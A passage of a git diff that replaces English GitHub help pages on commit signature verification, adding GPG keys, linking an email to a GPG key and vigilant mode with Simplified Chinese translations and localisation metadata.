confident that the changes come from a trusted source.' +title: 关于提交签名验证 +intro: '使用 GPG 或 S/MIME,你可以在本地对标记和提交进行签名。 这些标记或提交在 {% data variables.product.product_name %} 上标示为已验证,便于其他人信任更改来自可信的来源。' redirect_from: - /articles/about-gpg-commit-and-tag-signatures - /articles/about-gpg @@ -16,120 +16,95 @@ topics: - Identity - Access management shortTitle: Commit signature verification +ms.openlocfilehash: 73f4c4ea28db9c0e9f012a2a9e9aa061d655e093 +ms.sourcegitcommit: 6a266bff4d8c9ee928560c3af45eddd7fb4f3a0c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/26/2022 +ms.locfileid: '147409553' --- -## About commit signature verification +## 关于提交签名验证 -You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %} +您可以在本地签署提交和标签,让其他人对您所做更改的源充满信心。 如果提交或标记具有可加密验证的 GPG 或 S/MIME 签名,GitHub 会将提交或标记标示为{% ifversion fpt or ghec %}“已验证”或“部分验证”{% else %}“已验证”。{% endif %} -![Verified commit](/assets/images/help/commits/verified-commit.png) +![验证的提交](/assets/images/help/commits/verified-commit.png) -{% ifversion ghes or ghae %} -If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified." -{% endif %} - -{% ifversion ssh-commit-verification %} -For most individual users, GPG or SSH will be the best choice for signing commits. S/MIME signatures are usually required in the context of a larger organization. SSH signatures are the simplest to generate. You can even upload your existing authentication key to {% data variables.product.product_name %} to also use as a signing key. Generating a GPG signing key is more involved than generating an SSH key, but GPG has features that SSH does not. A GPG key can expire or be revoked when no longer used. {% data variables.product.product_name %} shows commits that were signed with such a key as "Verified" unless the key was marked as compromised. SSH keys don't have this capability. -{% endif %} - -{% ifversion fpt or ghec %} -Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." +{% ifversion fpt or ghec %} 提交和标记具有以下验证状态,具体取决于你是否启用了警戒模式。 默认情况下未启用警戒模式。 有关如何启用警戒模式的信息,请参阅“[显示所有提交的验证状态](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)”。 {% data reusables.identity-and-permissions.vigilant-mode-beta-note %} -Signing commits differs from signing off on a commit. For more information about signing off on commits, see "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)." +对提交签名不同于提交签核。 有关提交签核的详细信息,请参阅“[管理存储库的提交签核策略](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)”。 -### Default statuses +### 默认状态 -| Status | Description | +| 状态 | 说明 | | -------------- | ----------- | -| **Verified** | The commit is signed and the signature was successfully verified. -| **Unverified** | The commit is signed but the signature could not be verified. -| No verification status | The commit is not signed. +| **已验证** | 提交已签名且签名已成功验证。 +| 未验证 | 提交已签名,但签名无法验证。 +| 无验证状态 | 提交未签名。 -### Signature verification for rebase and merge +### 变基和合并的签名验证 {% data reusables.pull_requests.rebase_and_merge_verification %} -For more information, see "[Rebasing and merging your commits](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github#rebasing-and-merging-your-commits)." +有关详细信息,请参阅“[变基和合并提交](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github#rebasing-and-merging-your-commits)”。 -### Statuses with vigilant mode enabled +### 启用了警戒模式的状态 {% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} +{% else %} 如果提交或标记具有无法验证的签名,则 {% data variables.product.product_name %} 会将提交或标记标示为“未验证”。 {% endif %} - -Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." +仓库管理员可对分析实施必要的提交签名,以阻止未签名和验证的所有提交。 有关详细信息,请参阅“[关于受保护的分支](/github/administering-a-repository/about-protected-branches#require-signed-commits)”。 {% data reusables.identity-and-permissions.verification-status-check %} -{% ifversion fpt or ghec or ghes > 3.4 %} -{% ifversion ghes %}If a site administrator has enabled web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.product_name %} will have a verified status. You can verify the signature locally using the public key available at `https://HOSTNAME/web-flow.gpg`. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)." -{% else %}{% data variables.product.prodname_dotcom %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.prodname_dotcom %} will have a verified status. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. +{% ifversion fpt or ghec or ghes > 3.4 %} {% ifversion ghes %}如果站点管理员已启用 Web 提交签名,{% data variables.product.product_name %} 将自动使用 GPG 对使用 Web 界面所做的提交进行签名。 由 {% data variables.product.product_name %} 签名的提交将具有已验证状态。 可以使用 `https://HOSTNAME/web-flow.gpg` 提供的公钥在本地验证签名。 有关详细信息,请参阅“[配置 Web 提交签名](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)”。 +{% else %}{% data variables.product.prodname_dotcom %} 将自动使用 GPG 对使用 Web 界面所做的提交进行签名。 由 {% data variables.product.prodname_dotcom %} 签名的提交将具有已验证状态。 可以使用 https://github.com/web-flow.gpg 提供的公钥在本地验证签名。 密钥的完整指纹是 `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`。 -You can optionally choose to have {% data variables.product.prodname_dotcom %} GPG sign commits you make in {% data variables.product.prodname_github_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."{% endif %} -{% endif %} +可以选择在 {% data variables.product.prodname_github_codespaces %} 中使用 {% data variables.product.prodname_dotcom %} 对你的提交进行签名。 有关为 codespace 启用 GPG 验证的详细信息,请参阅“[管理 {% data variables.product.prodname_github_codespaces %} 的 GPG 验证](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)”。{% endif %} {% endif %} -## GPG commit signature verification +## GPG 提交签名验证 -You can use GPG to sign commits with a GPG key that you generate yourself. +您可以使用 GPG 通过自己生成的 GPG 密钥对验证签名。 -{% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. +{% data variables.product.product_name %} 使用 OpenPGP 库来确认本地签名的提交和标记,是否根据您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}上添加到帐户的公钥进行加密验证。 -To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps: +要使用 GPG 对提交签名并在 {% data variables.product.product_name %} 上验证这些提交,请执行以下步骤: -1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys) -2. [Generate a new GPG key](/articles/generating-a-new-gpg-key) -3. [Add a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account) -4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) -5. [Sign commits](/articles/signing-commits) -6. [Sign tags](/articles/signing-tags) +1. [检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) +2. [生成新 GPG 密钥](/articles/generating-a-new-gpg-key) +3. [将 GPG 密钥添加到 GitHub 帐户](/articles/adding-a-gpg-key-to-your-github-account) +4. [将你的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key) +5. [对提交签名](/articles/signing-commits) +6. [对标记签名](/articles/signing-tags) -{% ifversion ssh-commit-verification %} -## SSH commit signature verification +## S/MIME 提交签名验证 -You can use SSH to sign commits with an SSH key that you generate yourself. For more information, see the [Git reference documentation](https://git-scm.com/docs/git-config#Documentation/git-config.txt-usersigningKey) for `user.Signingkey`. If you already use an SSH key to authenticate with {% data variables.product.product_name %}, -you can also upload that same key again for use as a signing key. There's no limit on the number of signing keys you can add to your account. +您可以使用 S/MIME 通过组织颁发的 X.509 密钥对提交签名。 -{% data variables.product.product_name %} uses [ssh_data](https://github.com/github/ssh_data), an open source Ruby library, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. - -{% data reusables.gpg.ssh-git-version %} - -To sign commits using SSH and have those commits verified on {% data variables.product.product_name %}, follow these steps: - -1. [Check for existing SSH keys](/articles/checking-for-existing-ssh-keys) -2. [Generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) -3. [Add a SSH signing key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account) -4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) -5. [Sign commits](/articles/signing-commits) -6. [Sign tags](/articles/signing-tags) - -{% endif %} -## S/MIME commit signature verification - -You can use S/MIME to sign commits with an X.509 key issued by your organization. - -{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/bullseye/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate. +{% data variables.product.product_name %} 使用 [Debian ca 证书包](https://packages.debian.org/bullseye/ca-certificates)(Mozilla 浏览器使用的相同信任存储)确认你本地签名的提交和标记可根据受信任的根证书中的公钥加密验证。 {% data reusables.gpg.smime-git-version %} -To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps: +要使用 S/MIME 对提交签名并在 {% data variables.product.product_name %} 上验证这些提交,请执行以下步骤: -1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) -2. [Sign commits](/articles/signing-commits) -3. [Sign tags](/articles/signing-tags) +1. [将你的签名密钥告诉 Git](/articles/telling-git-about-your-signing-key) +2. [对提交签名](/articles/signing-commits) +3. [对标记签名](/articles/signing-tags) -You don't need to upload your public key to {% data variables.product.product_name %}. +无需将公钥上传到 {% data variables.product.product_name %}。 {% ifversion fpt or ghec %} -## Signature verification for bots +## 自动程序的签名验证 -Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified. +需要提交签名的组织和 {% data variables.product.prodname_github_apps %} 可使用自动程序对提交签名。 如果提交或标记具有密码可验证的自动程序签名,则 {% data variables.product.product_name %} 会将提交或标记标示为已验证。 -Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API. +自动程序的签名验证仅在请求被验证为 {% data variables.product.prodname_github_app %} 或自动程序并且不含自定义作者信息、自定义提交者信息、自定义签名信息(如提交 API)时才有效。 {% endif %} -## Further reading +## 延伸阅读 -- "[Signing commits](/articles/signing-commits)" -- "[Signing tags](/articles/signing-tags)" -- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)" +- [对提交签名](/articles/signing-commits) +- [对标记签名](/articles/signing-tags) +- “[对提交签名验证进行故障排除](/articles/troubleshooting-commit-signature-verification)” diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md index febbc304fa..3d66db7a17 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md @@ -1,6 +1,6 @@ --- -title: Adding a GPG key to your GitHub account -intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) GPG key, you''ll also need the key to your account.' +title: 将 GPG 密钥添加到 GitHub 帐户 +intro: '要在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上配置帐户以使用新的(或现有的)GPG 密钥,还需要将密钥添加到帐户。' redirect_from: - /articles/adding-a-gpg-key-to-your-github-account - /github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account @@ -19,54 +19,55 @@ topics: - Identity - Access management shortTitle: Add a GPG key +ms.openlocfilehash: db832d4e02ea5f19303b3178fb669967238e661b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147369336' --- +## 关于向帐户添加 GPG 密钥 -## About addition of GPG keys to your account +若要在 {% data variables.product.product_name %} 上对与你的帐户关联的提交进行签名,可以将公共 GPG 密钥添加到你的个人帐户。 在添加密钥之前,应检查现有密钥。 如果未找到任何现有密钥,可以生成并复制新的密钥。 有关详细信息,请参阅“[检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys)”和“[生成新的 GPG 密钥](/articles/generating-a-new-gpg-key)”。 -To sign commits associated with your account on {% data variables.product.product_name %}, you can add a public GPG key to your personal account. Before you add a key, you should check for existing keys. If you don't find any existing keys, you can generate and copy a new key. For more information, see "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" and "[Generating a new GPG key](/articles/generating-a-new-gpg-key)." +可以向你在 {% data variables.product.product_name %} 上的帐户添加多个公钥。 由任何相应的私钥签名的提交将显示为已验证。 如果删除公钥,则由相应私钥签名的任何提交将不再显示为已验证。 -You can add multiple public keys to your account on {% data variables.product.product_name %}. Commits signed by any of the corresponding private keys will show as verified. If you remove a public key, any commits signed by the corresponding private key will no longer show as verified. +{% ifversion upload-expired-or-revoked-gpg-key %} 若要验证尽可能多的提交,可以添加已过期和已撤销的密钥。 如果密钥满足所有其他验证要求,则之前由任何相应私钥签名的提交将显示为已验证状态,并指出它们的签名密钥已过期或已撤销。 -{% ifversion upload-expired-or-revoked-gpg-key %} -To verify as many of your commits as possible, you can add expired and revoked keys. If the key meets all other verification requirements, commits that were previously signed by any of the corresponding private keys will show as verified and indicate that their signing key is expired or revoked. - -![A verified commit whose key expired](/assets/images/help/settings/gpg-verified-with-expired-key.png) -{% endif %} +![一个已验证的提交,它的密钥已过期](/assets/images/help/settings/gpg-verified-with-expired-key.png) {% endif %} {% data reusables.gpg.supported-gpg-key-algorithms %} -When verifying a signature, {% data variables.product.product_name %} extracts the signature and attempts to parse its key ID. The key ID is then matched with keys added to {% data variables.product.product_name %}. Until a matching GPG key is added to {% data variables.product.product_name %}, it cannot verify your signatures. +验证签名时,{% data variables.product.product_name %} 将提取签名,并尝试分析它的密钥 ID。 随后,将此密钥 ID 与添加到 {% data variables.product.product_name %} 的密钥进行匹配。 在匹配的 GPG 密钥被添加到 {% data variables.product.product_name %} 之前,它将无法验证你的签名。 -## Adding a GPG key +## 添加 GPG 密钥 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -3. Click **New GPG key**. - ![GPG Key button](/assets/images/help/settings/gpg-add-gpg-key.png) -4. In the "Key" field, paste the GPG key you copied when you [generated your GPG key](/articles/generating-a-new-gpg-key). - ![The key field](/assets/images/help/settings/gpg-key-paste.png) -5. Click **Add GPG key**. - ![The Add key button](/assets/images/help/settings/gpg-add-key.png) -6. To confirm the action, enter your {% data variables.product.product_name %} password. +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 单击“新建 GPG 密钥”。 + ![“GPG 密钥”按钮](/assets/images/help/settings/gpg-add-gpg-key.png) +4. 在“密钥”字段中,粘贴[生成 GPG 密钥](/articles/generating-a-new-gpg-key)时复制的 GPG 密钥。 + ![密钥字段](/assets/images/help/settings/gpg-key-paste.png) +5. 单击“添加 GPG 密钥” + ![“添加密钥”按钮](/assets/images/help/settings/gpg-add-key.png) +6. 要确认操作,请输入您的 {% data variables.product.product_name %} 密码。 -{% ifversion upload-expired-or-revoked-gpg-key %} -{% else %} -## Updating an expired GPG key +{% ifversion upload-expired-or-revoked-gpg-key %} {% else %} +## 更新过期的 GPG 密钥 -When verifying a signature, {% data variables.product.product_name %} checks that the key is not revoked or expired. If your signing key is revoked or expired, {% data variables.product.product_name %} cannot verify your signatures. +验证签名时,{% data variables.product.product_name %} 会检查密钥是否已撤销或过期。 如果您的签名密钥已撤销或过期,则 {% data variables.product.product_name %} 无法验证您的签名。 -If your key is expired, you must [update its expiration](https://www.gnupg.org/gph/en/manual.html#AEN329), export the new key, delete the expired key in your account on {% data variables.product.product_name %}, and add the new key to your account as described above. Your previous commits and tags will show as verified, as long as the key meets all other verification requirements. +如果你的密钥已过期,必须[更新它的过期时间](https://www.gnupg.org/gph/en/manual.html#AEN329)、导出新密钥、删除 {% data variables.product.product_name %} 上帐户中的过期密钥,然后按上述步骤向帐户添加新的密钥。 只要密钥满足所有其他验证要求,您以前的提交和标记就会显示为已验证。 -If your key is revoked, use the primary key or another key that is not revoked to sign your commits. +如果您的密钥已撤销,请使用主密钥或未撤销的其他密钥为提交签名。 -If your key is invalid and you don't use another valid key in your key set, but instead generate a new GPG key with a new set of credentials, then your commits made with the revoked or expired key will continue to show as unverified. Also, your new credentials will not be able to re-sign or verify your old commits and tags. +如果您的密钥无效且您没有在密钥集中使用其他有效的密钥,而是使用一组新凭据生成新的 GPG 密钥,则使用已撤销或过期的密钥进行的提交将仍显示为未验证。 此外,你的新凭据将无法对你的旧提交和标记进行重新签名或验证。 {% endif %} -## Further reading +## 延伸阅读 -- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" -- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" -- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)" -- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)" -- "[Signing commits and tags using GPG keys](/articles/signing-commits-and-tags-using-gpg)" -- "[About commit signature verification](/articles/about-commit-signature-verification)" +- [检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) +- [生成新 GPG 密钥](/articles/generating-a-new-gpg-key) +- [将签名密钥告知 Git](/articles/telling-git-about-your-signing-key) +- [将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key) +- [使用 GPG 密钥对提交和标记进行签名](/articles/signing-commits-and-tags-using-gpg) +- [关于提交签名验证](/articles/about-commit-signature-verification) diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md new file mode 100644 index 0000000000..951b4cc15a --- /dev/null +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md @@ -0,0 +1,51 @@ +--- +title: 新增 GPG 密钥到 GitHub 帐户 +intro: 要在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上配置帐户以使用新的(或现有的)GPG 密钥,还需要将密钥添加到帐户。 +redirect_from: +- /articles/adding-a-new-gpg-key-to-your-github-account +- /github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account +- /github/authenticating-to-github/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Identity +- Access management +shortTitle: Add a new GPG key +ms.openlocfilehash: 73d58f3194e2ba37b38ce8e4b80de6b78888bbff +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145084629" +--- +在将新的 GPG 密钥添加到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户之前,您应该具有: +- [已检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) +- [已生成并已复制新 GPG 密钥](/articles/generating-a-new-gpg-key) + +可以将多个公钥添加到 GitHub 帐户。 由任何相应的私钥签名的提交将显示为已验证。 如果删除公钥,则由相应私钥签名的任何提交将不再显示为已验证。 + +{% data reusables.gpg.supported-gpg-key-algorithms %} + +验证签名时,我们将提取签名并尝试分析其密钥 ID。我们将密钥 ID 与上传到 {% data variables.product.product_name %} 的密钥匹配。 在将 GPG 密钥上传到 {% data variables.product.product_name %} 之前,我们无法验证您的签名。 + +## 添加 GPG 密钥 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 单击“新建 GPG 密钥”。 + ![“GPG 密钥”按钮](/assets/images/help/settings/gpg-add-gpg-key.png) +4. 在“密钥”字段中,粘贴[生成 GPG 密钥](/articles/generating-a-new-gpg-key)时复制的 GPG 密钥。 + ![密钥字段](/assets/images/help/settings/gpg-key-paste.png) +5. 单击“添加 GPG 密钥” + ![“添加密钥”按钮](/assets/images/help/settings/gpg-add-key.png) +6. 要确认操作,请输入您的 {% data variables.product.product_name %} 密码。 + +## 延伸阅读 + +* [检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) +* [生成新 GPG 密钥](/articles/generating-a-new-gpg-key) +* [将签名密钥告知 Git](/articles/telling-git-about-your-signing-key) +* [将电子邮件与 GPG 密钥关联](/articles/associating-an-email-with-your-gpg-key) +* [使用 GPG 密钥对提交和标记进行签名](/articles/signing-commits-and-tags-using-gpg) diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md index 3c92549eb7..9612ec6ec3 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md @@ -1,6 +1,6 @@ --- -title: Associating an email with your GPG key -intro: 'Your GPG key must be associated with a {% data variables.product.product_name %} verified email that matches your committer identity.' +title: 将电子邮件与 GPG 密钥关联 +intro: 'GPG 密钥必须 {% data variables.product.product_name %} 验证过与提交者身份匹配的电子邮件地址匹配。' redirect_from: - /articles/associating-an-email-with-your-gpg-key - /github/authenticating-to-github/associating-an-email-with-your-gpg-key @@ -14,49 +14,53 @@ topics: - Identity - Access management shortTitle: Associate email with GPG key +ms.openlocfilehash: d36c053e1df0c329fb8d4607b1338c49414e76de +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147369279' --- {% note %} -If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then you can begin signing commits and signing tags. +如果您使用与您的提交者身份以及 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}上帐户关联的已验证电子邮件地址相匹配的 GPG 密钥,则可以开始对提交和标签进行签名。 {% endnote %} -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.gpg.list-keys-with-note %} -{% data reusables.gpg.copy-gpg-key-id %} -4. Enter `gpg --edit-key GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`: +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.gpg.list-keys-with-note %} {% data reusables.gpg.copy-gpg-key-id %} +4. 输入 `gpg --edit-key GPG key ID`,替换为你想要使用的 GPG 密钥 ID。 在以下示例中,GPG 密钥 ID 为 `3AA5C34371567BD2`: ```shell - $ gpg --edit-key 3AA5C34371567BD2 + $ gpg --edit-key 3AA5C34371567BD2 ``` -5. Enter `gpg> adduid` to add the user ID details. +5. 输入 `gpg> adduid` 以添加用户 ID 详细信息。 ```shell $ gpg> adduid ``` -6. Follow the prompts to supply your real name, email address, and any comments. You can modify your entries by choosing `N`, `C`, or `E`. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."{% endif %} +6. 按照提示提供您的真实姓名、电子邮件地址和任何注释。 可以通过选择 `N`、`C` 或 `E` 来修改条目。 {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} 有关详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address)”。{% endif %} ```shell - Real Name: OCTOCAT - Email address: "octocat@github.com" - Comment: GITHUB-KEY + Real Name: Octocat + Email address: octocat@github.com + Comment: GitHub key Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? ``` -7. Enter `O` to confirm your selections. -8. Enter your key's passphrase. -9. Enter `gpg> save` to save the changes +7. 输入 `O` 以确认你的选择。 +8. 输入密钥的密码。 +9. 输入 `gpg> save` 以保存更改 ```shell $ gpg> save ``` -10. Enter `gpg --armor --export GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`: +10. 输入 `gpg --armor --export GPG key ID`,替换为你想要使用的 GPG 密钥 ID。 在以下示例中,GPG 密钥 ID 为 `3AA5C34371567BD2`: ```shell - $ gpg --armor --export 3AA5C34371567BD2 + $ gpg --armor --export 3AA5C34371567BD2 # Prints the GPG key, in ASCII armor format ``` -11. Upload the GPG key by [adding it to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account). +11. 通过[将 GPG 密钥添加到 GitHub 帐户](/articles/adding-a-gpg-key-to-your-github-account)来上传 GPG 密钥。 -## Further reading +## 延伸阅读 -- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" -- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" -- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)" -- "[Adding a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account)" -- "[Signing commits](/articles/signing-commits)" -- "[Signing tags](/articles/signing-tags)" +- [检查现有 GPG 密钥](/articles/checking-for-existing-gpg-keys) +- [生成新 GPG 密钥](/articles/generating-a-new-gpg-key) +- [在 GPG 密钥中使用经验证的电子邮件地址](/articles/using-a-verified-email-address-in-your-gpg-key) +- [将 GPG 密钥添加到 GitHub 帐户](/articles/adding-a-gpg-key-to-your-github-account) +- [对提交签名](/articles/signing-commits) +- [对标记签名](/articles/signing-tags) diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md index 20c7639fba..5049310370 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md @@ -1,7 +1,7 @@ --- -title: Displaying verification statuses for all of your commits +title: 显示所有提交的验证状态 shortTitle: Displaying verification for all commits -intro: You can enable vigilant mode for commit signature verification to mark all of your commits and tags with a signature verification status. +intro: 您可以启用警戒模式进行提交签名验证,以使用签名验证状态标记所有提交和标记。 versions: fpt: '*' ghec: '*' @@ -12,30 +12,34 @@ topics: redirect_from: - /github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits - /github/authenticating-to-github/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits +ms.openlocfilehash: 13e88fd3e6daf3ab185c3a90b69f3fc33a8bb0f1 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145084620' --- - {% data reusables.identity-and-permissions.vigilant-mode-beta-note %} -## About vigilant mode +## 关于警戒模式 -When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer. This, potentially, makes it difficult for other people to be confident that commits and tags you create were actually created by you. To help solve this problem you can sign your commits and tags. For more information, see "[Signing commits](/github/authenticating-to-github/signing-commits)" and "[Signing tags](/github/authenticating-to-github/signing-tags)." {% data variables.product.prodname_dotcom %} marks signed commits and tags with a verification status. +当您在计算机上本地工作时,Git 允许您设置更改的作者和提交者的身份。 这可能会使其他人难以确信您创建的提交和标记实际上是由您创建的。 为了帮助解决这个问题,您可以签署您的提交和标签。 有关详细信息,请参阅“[对提交签名](/github/authenticating-to-github/signing-commits)”和“[对标记签名](/github/authenticating-to-github/signing-tags)”。 {% data variables.product.prodname_dotcom %} 使用验证状态标记已签名的提交和标记。 -By default commits and tags are marked "Verified" if they are signed with a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME key that was successfully verified. If a commit or tag has a signature that can't be verified by {% data variables.product.prodname_dotcom %}, we mark the commit or tag "Unverified." In all other cases no verification status is displayed. +默认情况下,如果提交和标记使用已成功验证的 GPG 或 S/MIME 密钥签名,则标记为“已验证”。 如果提交或标记具有 {% data variables.product.prodname_dotcom %} 无法验证的签名,则我们会将提交或标记标示为“未验证”。 在所有其他情况下,都不会显示验证状态。 -However, you can give other users increased confidence in the identity attributed to your commits and tags by enabling vigilant mode in your {% data variables.product.prodname_dotcom %} settings. With vigilant mode enabled, all of your commits and tags are marked with one of three verification statuses. +但是,您可以通过在 {% data variables.product.prodname_dotcom %} 设置中启用警戒模式,让其他用户对您的提交和标签所赋予的身份更加有信心。 